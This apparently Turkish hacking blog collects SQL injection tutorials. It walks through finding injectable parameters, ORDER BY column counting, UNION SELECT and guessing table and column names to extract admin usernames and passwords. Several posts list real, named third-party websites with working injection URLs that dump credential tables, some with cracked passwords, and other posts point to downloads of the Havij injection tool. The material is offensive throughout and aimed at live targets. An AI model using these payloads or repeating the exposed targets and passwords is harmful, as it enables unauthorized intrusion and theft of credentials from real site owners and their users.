Sql İnjection Version 4 Hack Videolu Anlatımı

Merhaba arkadaşlar. Version 4'ü anlattığım yazının videosunu çektim. Umarım yararlı olur.


Video Link http://www.ziddu.com/download/14998604/sqluzmani_blogspot_injection_version_4.rar.html


Rar Şifresi : sqluzmani.blogspot.com

Sql İnjection Version 4 Anlatımı

Sql İnjection'da version bulmayı önceki yazılarda anlatmıştım. Şimdi version bulduktan sonra izleyeceğimiz yol versiona göre değişir. Bu yazıda 4 versionu anlatacağım. Version 4 de olay tahmin işidir. Table ve column adlarını tahmin ederek veri çekebiliriz. Biraz sabır işi ancak uğraşınca işin zevkine varacaksınız. Hemen örnekleyelim ve sayılar şöyle ekrana yansımış olsun;
-orneksite.com/ders.php?id=-1+union+select+1,2,3,4,5,6--
(Şimdi "from" komutunu kullanarak table adını bulup veri çekeceğiz)
-orneksite.com/ders.php?id=-1+union+select+1,2,3,4,5,6+from+admin--
(admin bilgilerinin bulunduğu table'ı bulmamız gerekiyor. İlk olarak admin denedim. Site hata verdi ve sayılar ekrana yansımadı)
-orneksite.com/ders.php?id=-1+union+select+1,2,3,4,5,6+from+admins--
(yine sayılar ekrana yansımadı. Sayılar ekrana yansıyana kadar devam edeceğiz.)
orneksite.com/ders.php?id=-1+union+select+1,2,3,4,5,6+from+user--
(Hala yansımadı.)
orneksite.com/ders.php?id=-1+union+select+1,2,3,4,5,6+from+users--
(Evet şimdi sayılar ekrana yansıdı.Sizde sayılar ekrana yansımazsa "member,members,administrator,administrator vs." gibi türetin.Diyelim ki 3 ve 5 ekrana yansıdı. 3'ün veya 5'in yerine kolon adlarını yazarak kolon adlarını tahmin edeceğiz.) Şöyle ki;
-orneksite.com/ders.php?id=-1+union+select+1,2,username,4,5,6+from+users--
(hata verdi o zaman değiştiriyoruz)
-orneksite.com/ders.php?id=-1+union+select+1,2,kullaniciadi,4,5,6+from+users--
(kullanıcı adı çıktı.Şimdi şifreye geçelim)
-orneksite.com/ders.php?id=-1+union+select+1,2,kullaniciadi,4,kullanicisifre,6+from+users--
(şifre ve kullanıcı adı çıktı.)

Daha sonra table ve kolon isimlerini text dosyası olarak upload edeceğim. Takipte kalın.

Sql İnjection Order By,Union Select,Version() Komutları Kullanımı Videolu Anlatım

Merhaba arkadaşlar. Daha önce blogda order by, union select ve version () komutlarını anlatmıştım. Bu yazılara görsellik kazandırmanın iyi olacağını düşündüm. Bu videoda yazılardan sonra aklınızda oluşan soru işaretleri kalmayacak.
BURDAN indirebilirsiniz.

Sql İnjection "Union Select" ve "Version()" Komutları

Bir önceki yazıda "order by" komutunu göstermiş ve sitedeki table sayısının nasıl bulunacağını anlatmıştım. Bu yazıda "union select" komutuyla siteden bilgi okumaya ve version bulmaya çalışacağız. Diyelim ki order by komutuyla table sayısının 6 olduğunu bulduk o zaman örneğimize devam edelim:
orneksite.com/ders.php?id=5+union+select+1,2,3,4,5,6-- bu adrese girdiğimizde herhangi bir değişiklik olmadıysa panik yapmayın ve hemen id değerinin önüne "-" işareti koyalım. Yani;
orneksite.com/ders.php?id=-5+union+select+1,2,3,4,5,6-- şimdi siteye sayılır yansıdı.
Bundan sonra ne yapacağımız sitede kullanılan veritabanı versiyonuna göre değişir. O yüzden versiyonunu öğrenelim. Diyelim ki sayılardan 3 ekrana yansıdı. 3 sayısını kullanalım.Şöyle ki;
orneksite.com/ders.php?id=-5+union+select+1,2,version(),4,5,6--
Versiyonu öğrendik. Gelecek yazıda buluşmak üzere..

Sql İnjection "Order By" Komutu

Sql açığını bulduktan sonra yapılacak ilk iş sitenin "table" sayısını bulmaktır. Order by komutu table bulmak için kullanılır. Hemen örnekle gösterelim:
orneksite.com/ders.php?id=5 açığı bulduğumuz link. Hemen order by komutunu kullanalım.
orneksite.com/ders.php?id=5+order+by+1-- bu kodu yazdıktan sonra sitede hata yoktur. Çünkü her sitede en az bir table vardır. "--" bu çift tire ise adres çubuğuna yazdığımız kodun sql tarafından gönderildiğini belirtir. Hata alana kadar sayımızı büyütelim.
orneksite.com/ders.php?id=5+order+by+2-- hata yok..
orneksite.com/ders.php?id=5+order+by+3-- hata yok..
orneksite.com/ders.php?id=5+order+by+4-- hata yok..
orneksite.com/ders.php?id=5+order+by+5-- diyelim ki 5'de hata aldık. Demek ki table 4 tane. Yani hata aldığımız sayının 1 eksiği. Sql injectionda "Order by" komutunun işlevi budur.

Sql Açığı Olan Siteler

http://www.bcspeakers.com/product.php?id=-162 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15 from _user--


http://www.lcoastpress.com/book.php?id=-32 union select 1,password,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from user--

http://www.foea.scuegypt.edu.eg/view_pages.php?id=-10%20union%20select%201,2,3,group_concat(name,0x3a,paswrd)paswrd,5,6,7,8,9,10%20from%20members--

http://cqap.agri.scuegypt.edu.eg/view_pages.php?id=-10%20union%20select%201,2,3,group_concat(name,0x3a,paswrd),5,6,7,8,9,10%20from%20members--

Hedef Sitede Sql İnjection Açığı Nasıl Bulunur?

En çok sorulan sorulardan biri ;
-Hedef sitede sql injection açığı nasıl bulunur?
Bilindiği üzere sql veritabanındaki kayıtlara ''id'' değeri verir. Biz de bu ''id'' değerini kullanarak siteyi hataya zorlarız. Peki bu nasıl olur? Örneklendirelim ;
Sitemiz sqluzmani.com olsun. Öncelikle sitede ''id'' değeri bulalım. Bunun için sitede biraz gezmek yeterli ancak olur da bulamazsanız google Hoca'ya site:sqluzmani.com yazıp aratırsak bu sitenin google'ın indexlediği bütün sayfalarını görürüz. Arattık ve bulduk diyelim:
sqluzmani.com/ders.php?id=1
Bundan sonra açığı yakalamak için birden fazla yol var ancak ben en çok ('a) ile yapıyorum. Hemen devam edelim ve sitenin sonuna ekleyelim:
sqluzmani.com/ders.php?id=1'a
Bunu yazdığımızda sitede 3 değişik hata olabilir.
-Sitede bir değişiklik olur,
-You have an error in your SQL syntax near......,
-Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in......
Bu hatalardan en az birini aldığınız zaman sql injection var demektir. Ancak her açık olan site hacklenebilir demek yanlış olur. Forbidden ve 404 hatası verebilir daha sonra bunları bypass etmeyi de anlatıcağım. Bu yazının videosunu en yakın zamanda çekeceğim.

Sql İnjection Havij Kullanımı Video 2

Havij programının kullanımını anlattığım 2. video. Umarım Yardımcı olur.

Video Link ; http://mikiurl.com/uWziC

Sql İnjection Havij İndir (Resmi Site)

Uzun aradan sonra tekrar merhaba arkadaşlar. Blog'la pek ilginemedim kusura bakmayın. Havij kullanımını gösterdiğim videonun ve havij'in linkleri malumunuz kırılmış. Laptop'ın ekran kartı yandı videoyu tekrar upload edemeyebilrim ama en yakın zamanda yeni videolar çekeceğim. Şimdilik havij'i indirebileceğiniz bir link vereceğim. Havij proğramının resmi sitesidir:

Havij indir : www.itsecteam.com/en/projects/project1_page2.htm

PR 6 Site Sql İnjection Örnek Site

Evet arkadaşlar uzun zamandır sql konusunda bişiler yazmıyorum. Bu aralar biraz kalabalık kafamın içi şimdilik açık bulduğum bu siteyi paylaşıcam.

http://www.lrd.org.uk/issue.php?pagid=1&issueid=-1380%20union%20select%201,username,password,4%20from%20admin_users--

MD5 = blackbird

Admin Paneline Bakmadım. Siz Uğraşın.. ;)

Sql Hack Örnek Site

Burada sql açığı bulduğum siteleri paylaşacağım arkadaşlar.. Sizde burdan takip edip sql hack konusunda kendinizi geliştirebilirsiniz...

http://www.megacenteristanbul.com/editorhaberleri.php?editorid=2&haberid=-3280%20union%20select%201,2,3,4,5,username,7,sifre,9,10,11,12,13,14,15,16,17%20from%20uyeler--

http://www.odc-center.com/magaza.php?Id=-9%20union%20select%201,2,3,group_concat%28login,0x3a,password%29,5,6,7,8,9%20from%20kullanici--

http://www.deltasport.org/detay.php?ID=-104%20union%20select%201,group_concat%28username,0x3a,sifre%29,3,4,5,6,7,8,9%20from%20delta_users--

http://www.allurecosmeticsolutions.com/info.php?id=-7%20union%20select%201,2,password,4,5,6,7,8,9,username,11,12%20from%20cc_user--



MD5: allure888

http://www.ymtltd.co.uk/new.php?id=-11%20union%20select%201,2,3,password,5,6,7,8,9,10,11,12,13,username,
15,16%20from%20users--

Sql İnjection Havij Kulanımı Video

Sql injection için sizler için upload ettiğim havij programının kullanımı bu videoda anlatmaya çalıştım arkadaşlar. Umarım yararınıza olur.

Video linki : BURDAN

Rar şifresi  : sqluzmani.blogspot.com


En yakın zamanda linkler yenilecektir.

Sql İnjection Tools Havij 1,10

Slm arkadaşlar sql injectionda sizlere yardımcı olacak çok iyi bir program sizler için upload ettim.

BURDAN  indirebilirsiz..

rar şifresi : sqluzmani.blogspot.com

Şimdiden kolay gelsin..

Lütfen yorumlarınızı eksik etmeyin ;)

Sql Hack Video 1

Tekrar Selam Arkadaşlar ;)


Çektiğm İlk Sql Hack Videosu Sizlerle....


BURDAN  indirebilirsiniz.. 

rar şifresi : sqluzmani.blogspot.com

Umarım Yararlı Olur..